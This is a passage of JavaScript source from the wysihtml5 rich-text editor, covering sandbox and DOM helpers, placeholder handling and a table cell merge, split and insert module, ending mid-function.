'<body></body></html>'\n      ).interpolate(templateVars);\n    },\n\n    /**\n     * Method to unset/override existing variables\n     * @example\n     *    // Make cookie unreadable and unwritable\n     *    this._unset(document, \"cookie\", \"\", true);\n     */\n    _unset: function(object, property, value, setter) {\n      try { object[property] = value; } catch(e) {}\n\n      try { object.__defineGetter__(property, function() { return value; }); } catch(e) {}\n      if (setter) {\n        try { object.__defineSetter__(property, function() {}); } catch(e) {}\n      }\n\n      if (!wysihtml5.browser.crashesWhenDefineProperty(property)) {\n        try {\n          var config = {\n            get: function() { return value; }\n          };\n          if (setter) {\n            config.set = function() {};\n          }\n          Object.defineProperty(object, property, config);\n        } catch(e) {}\n      }\n    }\n  });\n})(wysihtml5);\n;(function(wysihtml5) {\n  var doc = document;\n  wysihtml5.dom.ContentEditableArea = Base.extend({\n      getContentEditable: function() {\n        return this.element;\n      },\n\n      getWindow: function() {\n        return this.element.ownerDocument.defaultView;\n      },\n\n      getDocument: function() {\n        return this.element.ownerDocument;\n      },\n\n      constructor: function(readyCallback, config, contentEditable) {\n        this.callback = readyCallback || wysihtml5.EMPTY_FUNCTION;\n        this.config   = wysihtml5.lang.object({}).merge(config).get();\n        if (contentEditable) {\n            this.element = this._bindElement(contentEditable);\n        } else {\n            this.element = this._createElement();\n        }\n      },\n\n      // creates a new contenteditable and initiates it\n      _createElement: function() {\n        var element = doc.createElement(\"div\");\n        element.className = \"wysihtml5-sandbox\";\n        this._loadElement(element);\n        return element;\n      },\n\n      // initiates an allready existent contenteditable\n      _bindElement: function(contentEditable) {\n        contentEditable.className = (contentEditable.className && contentEditable.className != '') ? contentEditable.className + \" wysihtml5-sandbox\" : \"wysihtml5-sandbox\";\n        this._loadElement(contentEditable, true);\n        return contentEditable;\n      },\n\n      _loadElement: function(element, contentExists) {\n          var that = this;\n        if (!contentExists) {\n            var sandboxHtml = this._getHtml();\n            element.innerHTML = sandboxHtml;\n        }\n\n        this.getWindow = function() { return element.ownerDocument.defaultView; };\n        this.getDocument = function() { return element.ownerDocument; };\n\n        // Catch js errors and pass them to the parent's onerror event\n        // addEventListener(\"error\") doesn't work properly in some browsers\n        // TODO: apparently this doesn't work in IE9!\n        // TODO: figure out and bind the errors logic for contenteditble mode\n        /*iframeWindow.onerror = function(errorMessage, fileName, lineNumber) {\n          throw new Error(\"wysihtml5.Sandbox: \" + errorMessage, fileName, lineNumber);\n        }\n        */\n        this.loaded = true;\n        // Trigger the callback\n        setTimeout(function() { that.callback(that); }, 0);\n      },\n\n      _getHtml: function(templateVars) {\n        return '';\n      }\n\n  });\n})(wysihtml5);\n;(function() {\n  var mapping = {\n    \"className\": \"class\"\n  };\n  wysihtml5.dom.setAttributes = function(attributes) {\n    return {\n      on: function(element) {\n        for (var i in attributes) {\n          element.setAttribute(mapping[i] || i, attributes[i]);\n        }\n      }\n    };\n  };\n})();\n;wysihtml5.dom.setStyles = function(styles) {\n  return {\n    on: function(element) {\n      var style = element.style;\n      if (typeof(styles) === \"string\") {\n        style.cssText += \";\" + styles;\n        return;\n      }\n      for (var i in styles) {\n        if (i === \"float\") {\n          style.cssFloat = styles[i];\n          style.styleFloat = styles[i];\n        } else {\n          style[i] = styles[i];\n        }\n      }\n    }\n  };\n};\n;/**\n * Simulate HTML5 placeholder attribute\n *\n * Needed since\n *    - div[contentEditable] elements don't support it\n *    - older browsers (such as IE8 and Firefox 3.6) don't support it at all\n *\n * @param {Object} parent Instance of main wysihtml5.Editor class\n * @param {Element} view Instance of wysihtml5.views.* class\n * @param {String} placeholderText\n *\n * @example\n *    wysihtml.dom.simulatePlaceholder(this, composer, \"Foobar\");\n */\n(function(dom) {\n  dom.simulatePlaceholder = function(editor, view, placeholderText) {\n    var CLASS_NAME = \"placeholder\",\n        unset = function() {\n          var composerIsVisible   = view.element.offsetWidth > 0 && view.element.offsetHeight > 0;\n          if (view.hasPlaceholderSet()) {\n            view.clear();\n            view.element.focus();\n            if (composerIsVisible ) {\n              setTimeout(function() {\n                var sel = view.selection.getSelection();\n                if (!sel.focusNode || !sel.anchorNode) {\n                  view.selection.selectNode(view.element.firstChild || view.element);\n                }\n              }, 0);\n            }\n          }\n          view.placeholderSet = false;\n          dom.removeClass(view.element, CLASS_NAME);\n        },\n        set = function() {\n          if (view.isEmpty()) {\n            view.placeholderSet = true;\n            view.setValue(placeholderText);\n            dom.addClass(view.element, CLASS_NAME);\n          }\n        };\n\n    editor\n      .on(\"set_placeholder\", set)\n      .on(\"unset_placeholder\", unset)\n      .on(\"focus:composer\", unset)\n      .on(\"paste:composer\", unset)\n      .on(\"blur:composer\", set);\n\n    set();\n  };\n})(wysihtml5.dom);\n;(function(dom) {\n  var documentElement = document.documentElement;\n  if (\"textContent\" in documentElement) {\n    dom.setTextContent = function(element, text) {\n      element.textContent = text;\n    };\n\n    dom.getTextContent = function(element) {\n      return element.textContent;\n    };\n  } else if (\"innerText\" in documentElement) {\n    dom.setTextContent = function(element, text) {\n      element.innerText = text;\n    };\n\n    dom.getTextContent = function(element) {\n      return element.innerText;\n    };\n  } else {\n    dom.setTextContent = function(element, text) {\n      element.nodeValue = text;\n    };\n\n    dom.getTextContent = function(element) {\n      return element.nodeValue;\n    };\n  }\n})(wysihtml5.dom);\n\n;/**\n * Get a set of attribute from one element\n *\n * IE gives wrong results for hasAttribute/getAttribute, for example:\n *    var td = document.createElement(\"td\");\n *    td.getAttribute(\"rowspan\"); // => \"1\" in IE\n *\n * Therefore we have to check the element's outerHTML for the attribute\n*/\n\nwysihtml5.dom.getAttribute = function(node, attributeName) {\n  var HAS_GET_ATTRIBUTE_BUG = !wysihtml5.browser.supportsGetAttributeCorrectly();\n  attributeName = attributeName.toLowerCase();\n  var nodeName = node.nodeName;\n  if (nodeName == \"IMG\" && attributeName == \"src\" && wysihtml5.dom.isLoadedImage(node) === true) {\n    // Get 'src' attribute value via object property since this will always contain the\n    // full absolute url (http://...)\n    // this fixes a very annoying bug in firefox (ver 3.6 & 4) and IE 8 where images copied from the same host\n    // will have relative paths, which the sanitizer strips out (see attributeCheckMethods.url)\n    return node.src;\n  } else if (HAS_GET_ATTRIBUTE_BUG && \"outerHTML\" in node) {\n    // Don't trust getAttribute/hasAttribute in IE 6-8, instead check the element's outerHTML\n    var outerHTML      = node.outerHTML.toLowerCase(),\n        // TODO: This might not work for attributes without value: <input disabled>\n        hasAttribute   = outerHTML.indexOf(\" \" + attributeName +  \"=\") != -1;\n\n    return hasAttribute ? node.getAttribute(attributeName) : null;\n  } else{\n    return node.getAttribute(attributeName);\n  }\n};\n;/**\n * Get all attributes of an element\n *\n * IE gives wrong results for hasAttribute/getAttribute, for example:\n *    var td = document.createElement(\"td\");\n *    td.getAttribute(\"rowspan\"); // => \"1\" in IE\n *\n * Therefore we have to check the element's outerHTML for the attribute\n*/\n\nwysihtml5.dom.getAttributes = function(node) {\n  var HAS_GET_ATTRIBUTE_BUG = !wysihtml5.browser.supportsGetAttributeCorrectly(),\n      nodeName = node.nodeName,\n      attributes = [],\n      attr;\n\n  for (attr in node.attributes) {\n    if ((node.attributes.hasOwnProperty && node.attributes.hasOwnProperty(attr)) || (!node.attributes.hasOwnProperty && Object.prototype.hasOwnProperty.call(node.attributes, attr)))  {\n      if (node.attributes[attr].specified) {\n        if (nodeName == \"IMG\" && node.attributes[attr].name.toLowerCase() == \"src\" && wysihtml5.dom.isLoadedImage(node) === true) {\n          attributes['src'] = node.src;\n        } else if (wysihtml5.lang.array(['rowspan', 'colspan']).contains(node.attributes[attr].name.toLowerCase()) && HAS_GET_ATTRIBUTE_BUG) {\n          if (node.attributes[attr].value !== 1) {\n            attributes[node.attributes[attr].name] = node.attributes[attr].value;\n          }\n        } else {\n          attributes[node.attributes[attr].name] = node.attributes[attr].value;\n        }\n      }\n    }\n  }\n  return attributes;\n};;/**\n   * Check whether the given node is a proper loaded image\n   * FIXME: Returns undefined when unknown (Chrome, Safari)\n*/\n\nwysihtml5.dom.isLoadedImage = function (node) {\n  try {\n    return node.complete && !node.mozMatchesSelector(\":-moz-broken\");\n  } catch(e) {\n    if (node.complete && node.readyState === \"complete\") {\n      return true;\n    }\n  }\n};\n;(function(wysihtml5) {\n\n    var api = wysihtml5.dom;\n\n    var MapCell = function(cell) {\n      this.el = cell;\n      this.isColspan= false;\n      this.isRowspan= false;\n      this.firstCol= true;\n      this.lastCol= true;\n      this.firstRow= true;\n      this.lastRow= true;\n      this.isReal= true;\n      this.spanCollection= [];\n      this.modified = false;\n    };\n\n    var TableModifyerByCell = function (cell, table) {\n        if (cell) {\n            this.cell = cell;\n            this.table = api.getParentElement(cell, { nodeName: [\"TABLE\"] });\n        } else if (table) {\n            this.table = table;\n            this.cell = this.table.querySelectorAll('th, td')[0];\n        }\n    };\n\n    function queryInList(list, query) {\n        var ret = [],\n            q;\n        for (var e = 0, len = list.length; e < len; e++) {\n            q = list[e].querySelectorAll(query);\n            if (q) {\n                for(var i = q.length; i--; ret.unshift(q[i]));\n            }\n        }\n        return ret;\n    }\n\n    function removeElement(el) {\n        el.parentNode.removeChild(el);\n    }\n\n    function insertAfter(referenceNode, newNode) {\n        referenceNode.parentNode.insertBefore(newNode, referenceNode.nextSibling);\n    }\n\n    function nextNode(node, tag) {\n        var element = node.nextSibling;\n        while (element.nodeType !=1) {\n            element = element.nextSibling;\n            if (!tag || tag == element.tagName.toLowerCase()) {\n                return element;\n            }\n        }\n        return null;\n    }\n\n    TableModifyerByCell.prototype = {\n\n        addSpannedCellToMap: function(cell, map, r, c, cspan, rspan) {\n            var spanCollect = [],\n                rmax = r + ((rspan) ? parseInt(rspan, 10) - 1 : 0),\n                cmax = c + ((cspan) ? parseInt(cspan, 10) - 1 : 0);\n\n            for (var rr = r; rr <= rmax; rr++) {\n                if (typeof map[rr] == \"undefined\") { map[rr] = []; }\n                for (var cc = c; cc <= cmax; cc++) {\n                    map[rr][cc] = new MapCell(cell);\n                    map[rr][cc].isColspan = (cspan && parseInt(cspan, 10) > 1);\n                    map[rr][cc].isRowspan = (rspan && parseInt(rspan, 10) > 1);\n                    map[rr][cc].firstCol = cc == c;\n                    map[rr][cc].lastCol = cc == cmax;\n                    map[rr][cc].firstRow = rr == r;\n                    map[rr][cc].lastRow = rr == rmax;\n                    map[rr][cc].isReal = cc == c && rr == r;\n                    map[rr][cc].spanCollection = spanCollect;\n\n                    spanCollect.push(map[rr][cc]);\n                }\n            }\n        },\n\n        setCellAsModified: function(cell) {\n            cell.modified = true;\n            if (cell.spanCollection.length > 0) {\n              for (var s = 0, smax = cell.spanCollection.length; s < smax; s++) {\n                cell.spanCollection[s].modified = true;\n              }\n            }\n        },\n\n        setTableMap: function() {\n            var map = [];\n            var tableRows = this.getTableRows(),\n                ridx, row, cells, cidx, cell,\n                c,\n                cspan, rspan;\n\n            for (ridx = 0; ridx < tableRows.length; ridx++) {\n                row = tableRows[ridx];\n                cells = this.getRowCells(row);\n                c = 0;\n                if (typeof map[ridx] == \"undefined\") { map[ridx] = []; }\n                for (cidx = 0; cidx < cells.length; cidx++) {\n                    cell = cells[cidx];\n\n                    // If cell allready set means it is set by col or rowspan,\n                    // so increase cols index until free col is found\n                    while (typeof map[ridx][c] != \"undefined\") { c++; }\n\n                    cspan = api.getAttribute(cell, 'colspan');\n                    rspan = api.getAttribute(cell, 'rowspan');\n\n                    if (cspan || rspan) {\n                        this.addSpannedCellToMap(cell, map, ridx, c, cspan, rspan);\n                        c = c + ((cspan) ? parseInt(cspan, 10) : 1);\n                    } else {\n                        map[ridx][c] = new MapCell(cell);\n                        c++;\n                    }\n                }\n            }\n            this.map = map;\n            return map;\n        },\n\n        getRowCells: function(row) {\n            var inlineTables = this.table.querySelectorAll('table'),\n                inlineCells = (inlineTables) ? queryInList(inlineTables, 'th, td') : [],\n                allCells = row.querySelectorAll('th, td'),\n                tableCells = (inlineCells.length > 0) ? wysihtml5.lang.array(allCells).without(inlineCells) : allCells;\n\n            return tableCells;\n        },\n\n        getTableRows: function() {\n          var inlineTables = this.table.querySelectorAll('table'),\n              inlineRows = (inlineTables) ? queryInList(inlineTables, 'tr') : [],\n              allRows = this.table.querySelectorAll('tr'),\n              tableRows = (inlineRows.length > 0) ? wysihtml5.lang.array(allRows).without(inlineRows) : allRows;\n\n          return tableRows;\n        },\n\n        getMapIndex: function(cell) {\n          var r_length = this.map.length,\n              c_length = (this.map && this.map[0]) ? this.map[0].length : 0;\n\n          for (var r_idx = 0;r_idx < r_length; r_idx++) {\n              for (var c_idx = 0;c_idx < c_length; c_idx++) {\n                  if (this.map[r_idx][c_idx].el === cell) {\n                      return {'row': r_idx, 'col': c_idx};\n                  }\n              }\n          }\n          return false;\n        },\n\n        getElementAtIndex: function(idx) {\n            this.setTableMap();\n            if (this.map[idx.row] && this.map[idx.row][idx.col] && this.map[idx.row][idx.col].el) {\n                return this.map[idx.row][idx.col].el;\n            }\n            return null;\n        },\n\n        getMapElsTo: function(to_cell) {\n            var els = [];\n            this.setTableMap();\n            this.idx_start = this.getMapIndex(this.cell);\n            this.idx_end = this.getMapIndex(to_cell);\n\n            // switch indexes if start is bigger than end\n            if (this.idx_start.row > this.idx_end.row || (this.idx_start.row == this.idx_end.row && this.idx_start.col > this.idx_end.col)) {\n                var temp_idx = this.idx_start;\n                this.idx_start = this.idx_end;\n                this.idx_end = temp_idx;\n            }\n            if (this.idx_start.col > this.idx_end.col) {\n                var temp_cidx = this.idx_start.col;\n                this.idx_start.col = this.idx_end.col;\n                this.idx_end.col = temp_cidx;\n            }\n\n            if (this.idx_start != null && this.idx_end != null) {\n                for (var row = this.idx_start.row, maxr = this.idx_end.row; row <= maxr; row++) {\n                    for (var col = this.idx_start.col, maxc = this.idx_end.col; col <= maxc; col++) {\n                        els.push(this.map[row][col].el);\n                    }\n                }\n            }\n            return els;\n        },\n\n        orderSelectionEnds: function(secondcell) {\n            this.setTableMap();\n            this.idx_start = this.getMapIndex(this.cell);\n            this.idx_end = this.getMapIndex(secondcell);\n\n            // switch indexes if start is bigger than end\n            if (this.idx_start.row > this.idx_end.row || (this.idx_start.row == this.idx_end.row && this.idx_start.col > this.idx_end.col)) {\n                var temp_idx = this.idx_start;\n                this.idx_start = this.idx_end;\n                this.idx_end = temp_idx;\n            }\n            if (this.idx_start.col > this.idx_end.col) {\n                var temp_cidx = this.idx_start.col;\n                this.idx_start.col = this.idx_end.col;\n                this.idx_end.col = temp_cidx;\n            }\n\n            return {\n                \"start\": this.map[this.idx_start.row][this.idx_start.col].el,\n                \"end\": this.map[this.idx_end.row][this.idx_end.col].el\n            };\n        },\n\n        createCells: function(tag, nr, attrs) {\n            var doc = this.table.ownerDocument,\n                frag = doc.createDocumentFragment(),\n                cell;\n            for (var i = 0; i < nr; i++) {\n                cell = doc.createElement(tag);\n\n                if (attrs) {\n                    for (var attr in attrs) {\n                        if (attrs.hasOwnProperty(attr)) {\n                            cell.setAttribute(attr, attrs[attr]);\n                        }\n                    }\n                }\n\n                // add non breaking space\n                cell.appendChild(document.createTextNode(\"\\u00a0\"));\n\n                frag.appendChild(cell);\n            }\n            return frag;\n        },\n\n        // Returns next real cell (not part of spanned cell unless first) on row if selected index is not real. I no real cells -1 will be returned\n        correctColIndexForUnreals: function(col, row) {\n            var r = this.map[row],\n                corrIdx = -1;\n            for (var i = 0, max = col; i < col; i++) {\n                if (r[i].isReal){\n                    corrIdx++;\n                }\n            }\n            return corrIdx;\n        },\n\n        getLastNewCellOnRow: function(row, rowLimit) {\n            var cells = this.getRowCells(row),\n                cell, idx;\n\n            for (var cidx = 0, cmax = cells.length; cidx < cmax; cidx++) {\n                cell = cells[cidx];\n                idx = this.getMapIndex(cell);\n                if (idx === false || (typeof rowLimit != \"undefined\" && idx.row != rowLimit)) {\n                    return cell;\n                }\n            }\n            return null;\n        },\n\n        removeEmptyTable: function() {\n            var cells = this.table.querySelectorAll('td, th');\n            if (!cells || cells.length == 0) {\n                removeElement(this.table);\n                return true;\n            } else {\n                return false;\n            }\n        },\n\n        // Splits merged cell on row to unique cells\n        splitRowToCells: function(cell) {\n            if (cell.isColspan) {\n                var colspan = parseInt(api.getAttribute(cell.el, 'colspan') || 1, 10),\n                    cType = cell.el.tagName.toLowerCase();\n                if (colspan > 1) {\n                    var newCells = this.createCells(cType, colspan -1);\n                    insertAfter(cell.el, newCells);\n                }\n                cell.el.removeAttribute('colspan');\n            }\n        },\n\n        getRealRowEl: function(force, idx) {\n            var r = null,\n                c = null;\n\n            idx = idx || this.idx;\n\n            for (var cidx = 0, cmax = this.map[idx.row].length; cidx < cmax; cidx++) {\n                c = this.map[idx.row][cidx];\n                if (c.isReal) {\n                    r = api.getParentElement(c.el, { nodeName: [\"TR\"] });\n                    if (r) {\n                        return r;\n                    }\n                }\n            }\n\n            if (r === null && force) {\n                r = api.getParentElement(this.map[idx.row][idx.col].el, { nodeName: [\"TR\"] }) || null;\n            }\n\n            return r;\n        },\n\n        injectRowAt: function(row, col, colspan, cType, c) {\n            var r = this.getRealRowEl(false, {'row': row, 'col': col}),\n                new_cells = this.createCells(cType, colspan);\n\n            if (r) {\n                var n_cidx = this.correctColIndexForUnreals(col, row);\n                if (n_cidx >= 0) {\n                    insertAfter(this.getRowCells(r)[n_cidx], new_cells);\n                } else {\n                    r.insertBefore(new_cells, r.firstChild);\n                }\n            } else {\n                var rr = this.table.ownerDocument.createElement('tr');\n                rr.appendChild(new_cells);\n                insertAfter(api.getParentElement(c.el, { nodeName: [\"TR\"] }), rr);\n            }\n        },\n\n        canMerge: function(to) {\n            this.to = to;\n            this.setTableMap();\n            this.idx_start = this.getMapIndex(this.cell);\n            this.idx_end = this.getMapIndex(this.to);\n\n            // switch indexes if start is bigger than end\n            if (this.idx_start.row > this.idx_end.row || (this.idx_start.row == this.idx_end.row && this.idx_start.col > this.idx_end.col)) {\n                var temp_idx = this.idx_start;\n                this.idx_start = this.idx_end;\n                this.idx_end = temp_idx;\n            }\n            if (this.idx_start.col > this.idx_end.col) {\n                var temp_cidx = this.idx_start.col;\n                this.idx_start.col = this.idx_end.col;\n                this.idx_end.col = temp_cidx;\n            }\n\n            for (var row = this.idx_start.row, maxr = this.idx_end.row; row <= maxr; row++) {\n                for (var col = this.idx_start.col, maxc = this.idx_end.col; col <= maxc; col++) {\n                    if (this.map[row][col].isColspan || this.map[row][col].isRowspan) {\n                        return false;\n                    }\n                }\n            }\n            return true;\n        },\n\n        decreaseCellSpan: function(cell, span) {\n            var nr = parseInt(api.getAttribute(cell.el, span), 10) - 1;\n            if (nr >= 1) {\n                cell.el.setAttribute(span, nr);\n            } else {\n                cell.el.removeAttribute(span);\n                if (span == 'colspan') {\n                    cell.isColspan = false;\n                }\n                if (span == 'rowspan') {\n                    cell.isRowspan = false;\n                }\n                cell.firstCol = true;\n                cell.lastCol = true;\n                cell.firstRow = true;\n                cell.lastRow = true;\n                cell.isReal = true;\n            }\n        },\n\n        removeSurplusLines: function() {\n            var row, cell, ridx, rmax, cidx, cmax, allRowspan;\n\n            this.setTableMap();\n            if (this.map) {\n                ridx = 0;\n                rmax = this.map.length;\n                for (;ridx < rmax; ridx++) {\n                    row = this.map[ridx];\n                    allRowspan = true;\n                    cidx = 0;\n                    cmax = row.length;\n                    for (; cidx < cmax; cidx++) {\n                        cell = row[cidx];\n                        if (!(api.getAttribute(cell.el, \"rowspan\") && parseInt(api.getAttribute(cell.el, \"rowspan\"), 10) > 1 && cell.firstRow !== true)) {\n                            allRowspan = false;\n                            break;\n                        }\n                    }\n                    if (allRowspan) {\n                        cidx = 0;\n                        for (; cidx < cmax; cidx++) {\n                            this.decreaseCellSpan(row[cidx], 'rowspan');\n                        }\n                    }\n                }\n\n                // remove rows without cells\n                var tableRows = this.getTableRows();\n                ridx = 0;\n                rmax = tableRows.length;\n                for (;ridx < rmax; ridx++) {\n                    row = tableRows[ridx];\n                    if (row.childNodes.length == 0 && (/^\\s*$/.test(row.textContent || row.innerText))) {\n                        removeElement(row);\n                    }\n                }\n            }\n        },\n\n        fillMissingCells: function() {\n            var r_max = 0,\n                c_max = 0,\n                prevcell = null;\n\n            this.setTableMap();\n            if (this.map) {\n\n                // find maximal dimensions of broken table\n                r_max = this.map.length;\n                for (var ridx = 0; ridx < r_max; ridx++) {\n                    if (this.map[ridx].length > c_max) { c_max = this.map[ridx].length; }\n                }\n\n                for (var row = 0; row < r_max; row++) {\n                    for (var col = 0; col < c_max; col++) {\n                        if (this.map[row] && !this.map[row][col]) {\n                            if (col > 0) {\n                                this.map[row][col] = new MapCell(this.createCells('td', 1));\n                                prevcell = this.map[row][col-1];\n                                if (prevcell && prevcell.el && prevcell.el.parent) { // if parent does not exist element is removed from dom\n                                    insertAfter(this.map[row][col-1].el, this.map[row][col].el);\n                                }\n                            }\n                        }\n                    }\n                }\n            }\n        },\n\n        rectify: function() {\n            if (!this.removeEmptyTable()) {\n                this.removeSurplusLines();\n                this.fillMissingCells();\n                return true;\n            } else {\n                return false;\n            }\n        },\n\n        unmerge: function() {\n            if (this.rectify()) {\n                this.setTableMap();\n                this.idx = this.getMapIndex(this.cell);\n\n                if (this.idx) {\n                    var thisCell = this.map[this.idx.row][this.idx.col],\n                        colspan = (api.getAttribute(thisCell.el, \"colspan\")) ? parseInt(api.getAttribute(thisCell.el, \"colspan\"), 10) : 1,\n                        cType = thisCell.el.tagName.toLowerCase();\n\n                    if (thisCell.isRowspan) {\n                        var rowspan = parseInt(api.getAttribute(thisCell.el, \"rowspan\"), 10);\n                        if (rowspan > 1) {\n                            for (var nr = 1, maxr = rowspan - 1; nr <= maxr; nr++){\n                                this.injectRowAt(this.idx.row + nr, this.idx.col, colspan, cType, thisCell);\n                            }\n                        }\n                        thisCell.el.removeAttribute('rowspan');\n                    }\n                    this.splitRowToCells(thisCell);\n                }\n            }\n        },\n\n        // merges cells from start cell (defined in creating obj) to \"to\" cell\n        merge: function(to) {\n            if (this.rectify()) {\n                if (this.canMerge(to)) {\n                    var rowspan = this.idx_end.row - this.idx_start.row + 1,\n                        colspan = this.idx_end.col - this.idx_start.col + 1;\n\n                    for (var row = this.idx_start.row, maxr = this.idx_end.row; row <= maxr; row++) {\n                        for (var col = this.idx_start.col, maxc = this.idx_end.col; col <= maxc; col++) {\n\n                            if (row == this.idx_start.row && col == this.idx_start.col) {\n                                if (rowspan > 1) {\n                                    this.map[row][col].el.setAttribute('rowspan', rowspan);\n                                }\n                                if (colspan > 1) {\n                                    this.map[row][col].el.setAttribute('colspan', colspan);\n                                }\n                            } else {\n                                // transfer content\n                                if (!(/^\\s*<br\\/?>\\s*$/.test(this.map[row][col].el.innerHTML.toLowerCase()))) {\n                                    this.map[this.idx_start.row][this.idx_start.col].el.innerHTML += ' ' + this.map[row][col].el.innerHTML;\n                                }\n                                removeElement(this.map[row][col].el);\n                            }\n                        }\n                    }\n                    this.rectify();\n                } else {\n                    if (window.console) {\n                        console.log('Do not know how to merge allready merged cells.');\n                    }\n                }\n            }\n        },\n\n        // Decreases rowspan of a cell if it is done on first cell of rowspan row (real cell)\n        // Cell is moved to next row (if it is real)\n        collapseCellToNextRow: function(cell) {\n            var cellIdx = this.getMapIndex(cell.el),\n                newRowIdx = cellIdx.row + 1,\n                newIdx = {'row': newRowIdx, 'col': cellIdx.col};\n\n            if (newRowIdx < this.map.length) {\n\n                var row = this.getRealRowEl(false, newIdx);\n                if (row !== null) {\n                    var n_cidx = this.correctColIndexForUnreals(newIdx.col, newIdx.row);\n                    if (n_cidx >= 0) {\n                        insertAfter(this.getRowCells(row)[n_cidx], cell.el);\n                    } else {\n                        var lastCell = this.getLastNewCellOnRow(row, newRowIdx);\n                        if (lastCell !== null) {\n                            insertAfter(lastCell, cell.el);\n                        } else {\n                            row.insertBefore(cell.el, row.firstChild);\n                        }\n                    }\n                    if (parseInt(api.getAttribute(cell.el, 'rowspan'), 10) > 2) {\n                        cell.el.setAttribute('rowspan', parseInt(api.getAttribute(cell.el, 'rowspan'), 10) - 1);\n                    } else {\n                        cell.el.removeAttribute('rowspan');\n                    }\n                }\n            }\n        },\n\n        // Removes a cell when removing a row\n        // If is rowspan cell then decreases the rowspan\n        // and moves cell to next row if needed (is first cell of rowspan)\n        removeRowCell: function(cell) {\n            if (cell.isReal) {\n               if (cell.isRowspan) {\n                   this.collapseCellToNextRow(cell);\n               } else {\n                   removeElement(cell.el);\n               }\n            } else {\n                if (parseInt(api.getAttribute(cell.el, 'rowspan'), 10) > 2) {\n                    cell.el.setAttribute('rowspan', parseInt(api.getAttribute(cell.el, 'rowspan'), 10) - 1);\n                } else {\n                    cell.el.removeAttribute('rowspan');\n                }\n            }\n        },\n\n        getRowElementsByCell: function() {\n            var cells = [];\n            this.setTableMap();\n            this.idx = this.getMapIndex(this.cell);\n            if (this.idx !== false) {\n                var modRow = this.map[this.idx.row];\n                for (var cidx = 0, cmax = modRow.length; cidx < cmax; cidx++) {\n                    if (modRow[cidx].isReal) {\n                        cells.push(modRow[cidx].el);\n                    }\n                }\n            }\n            return cells;\n        },\n\n        getColumnElementsByCell: function() {\n            var cells = [];\n            this.setTableMap();\n            this.idx = this.getMapIndex(this.cell);\n            if (this.idx !== false) {\n                for (var ridx = 0, rmax = this.map.length; ridx < rmax; ridx++) {\n                    if (this.map[ridx][this.idx.col] && this.map[ridx][this.idx.col].isReal) {\n                        cells.push(this.map[ridx][this.idx.col].el);\n                    }\n                }\n            }\n            return cells;\n        },\n\n        // Removes the row of selected cell\n        removeRow: function() {\n            var oldRow = api.getParentElement(this.cell, { nodeName: [\"TR\"] });\n            if (oldRow) {\n                this.setTableMap();\n                this.idx = this.getMapIndex(this.cell);\n                if (this.idx !== false) {\n                    var modRow = this.map[this.idx.row];\n                    for (var cidx = 0, cmax = modRow.length; cidx < cmax; cidx++) {\n                        if (!modRow[cidx].modified) {\n                            this.setCellAsModified(modRow[cidx]);\n                            this.removeRowCell(modRow[cidx]);\n                        }\n                    }\n                }\n                removeElement(oldRow);\n            }\n        },\n\n        removeColCell: function(cell) {\n            if (cell.isColspan) {\n                if (parseInt(api.getAttribute(cell.el, 'colspan'), 10) > 2) {\n                    cell.el.setAttribute('colspan', parseInt(api.getAttribute(cell.el, 'colspan'), 10) - 1);\n                } else {\n                    cell.el.removeAttribute('colspan');\n                }\n            } else if (cell.isReal) {\n                removeElement(cell.el);\n            }\n        },\n\n        removeColumn: function() {\n            this.setTableMap();\n            this.idx = this.getMapIndex(this.cell);\n            if (this.idx !== false) {\n                for (var ridx = 0, rmax = this.map.length; ridx < rmax; ridx++) {\n                    if (!this.map[ridx][this.idx.col].modified) {\n                        this.setCellAsModified(this.map[ridx][this.idx.col]);\n                        this.removeColCell(this.map[ridx][this.idx.col]);\n                    }\n                }\n            }\n        },\n\n        // removes row or column by selected cell element\n        remove: function(what) {\n            if (this.rectify()) {\n                switch (what) {\n                    case 'row':\n                        this.removeRow();\n                    break;\n                    case 'column':\n                        this.removeColumn();\n                    break;\n                }\n                this.rectify();\n            }\n        },\n\n        addRow: function(where) {\n            var doc = this.table.ownerDocument;\n\n            this.setTableMap();\n            this.idx = this.getMapIndex(this.cell);\n            if (where == \"below\" && api.getAttribute(this.cell, 'rowspan')) {\n                this.idx.row = this.idx.row + parseInt(api.getAttribute(this.cell, 'rowspan'), 10) - 1;\n            }\n\n            if (this.idx !== false) {\n                var modRow = this.map[this.idx.row],\n                    newRow = doc.createElement('tr');\n\n                for (var ridx = 0, rmax = modRow.length; ridx < rmax; ridx++) {\n                    if (!modRow[ridx].modified) {\n                        this.setCellAsModified(modRow[ridx]);\n                        this.addRowCell(modRow[ridx], newRow, where);\n                    }\n                }\n\n                switch (where) {\n                    case 'below':\n                        insertAfter(this.getRealRowEl(true), newRow);\n                    break;\n                    case 'above':\n                        var cr = api.getParentElement(this.map[this.idx.row][this.idx.col].el, { nodeName: [\"TR\"] });\n                        if (cr) {\n                            cr.parentNode.insertBefore(newRow, cr);\n                        }\n                    break;\n                }\n            }\n        },\n\n        addRowCell: function(cell, row, where) {\n            var colSpanAttr = (cell.isColspan) ? {\"colspan\" : api.getAttribute(cell.el, 'colspan')} : null;\n            if (cell.isReal) {\n                if (where != 'above' && cell.isRowspan) {\n                    cell.el.setAttribute('rowspan', parseInt(api.getAttribute(cell.el,'rowspan'), 10) + 1);\n                } else {\n                    row.appendChild(this.createCells('td', 1, colSpanAttr));\n                }\n            } else {\n                if (where != 'above' && cell.isRowspan && cell.lastRow) {\n                    row.appendChild(this.createCells('td', 1, colSpanAttr));\n                } else if (c.isRowspan) {\n                    cell.el.attr('rowspan', parseInt(api.getAttribute(cell.el, 'rowspan'), 10) + 1);\n                }\n            }\n        },\n\n        add: function(where) {\n            if (this.rectify()) {\n                if (where == 'below' || where == 'above') {\n                    this.addRow(where);\n                }\n                if (where == 'before' || where == 'after') {\n                    this.addColumn(where);\n                }\n            }\n        },\n\n        addColCell: function (cell, ridx, where) {\n            var doAdd,\n                cType = cell.el.tagName.toLowerCase();\n\n            // defines add cell vs expand cell conditions\n            // true means add\n            switch (where) {\n                case \"before\":\n                    doAdd = (!cell.isColspan || cell.firstCol);\n                break;\n                case \"after\":\n                    doAdd = (!cell.isColspan || cell.lastCol || (cell.isColspan && c.el == this.cell));\n                break;\n            }\n\n            if (doAdd){\n                // adds a cell before or after current cell element\n                switch (where) {\n                    case \"before\":\n                        cell.el.parentNode.insertBefore(this.createCells(cType, 1), cell.el);\n                    break;\n                    case \"after\":\n                        insertAfter(cell.el, this.createCells(cType, 1));\n                    break;\n                }\n\n                // handles if cell has rowspan\n                if (cell.isRowspan) {\n                    this.handleCellAddWithRowspan(cell, ridx+1, where);\n                }\n\n            } else {\n                // expands cell\n                cell.el.setAttribute('colspan',  parseInt(api.getAttribute(cell.el, 'colspan'), 10) + 1);\n            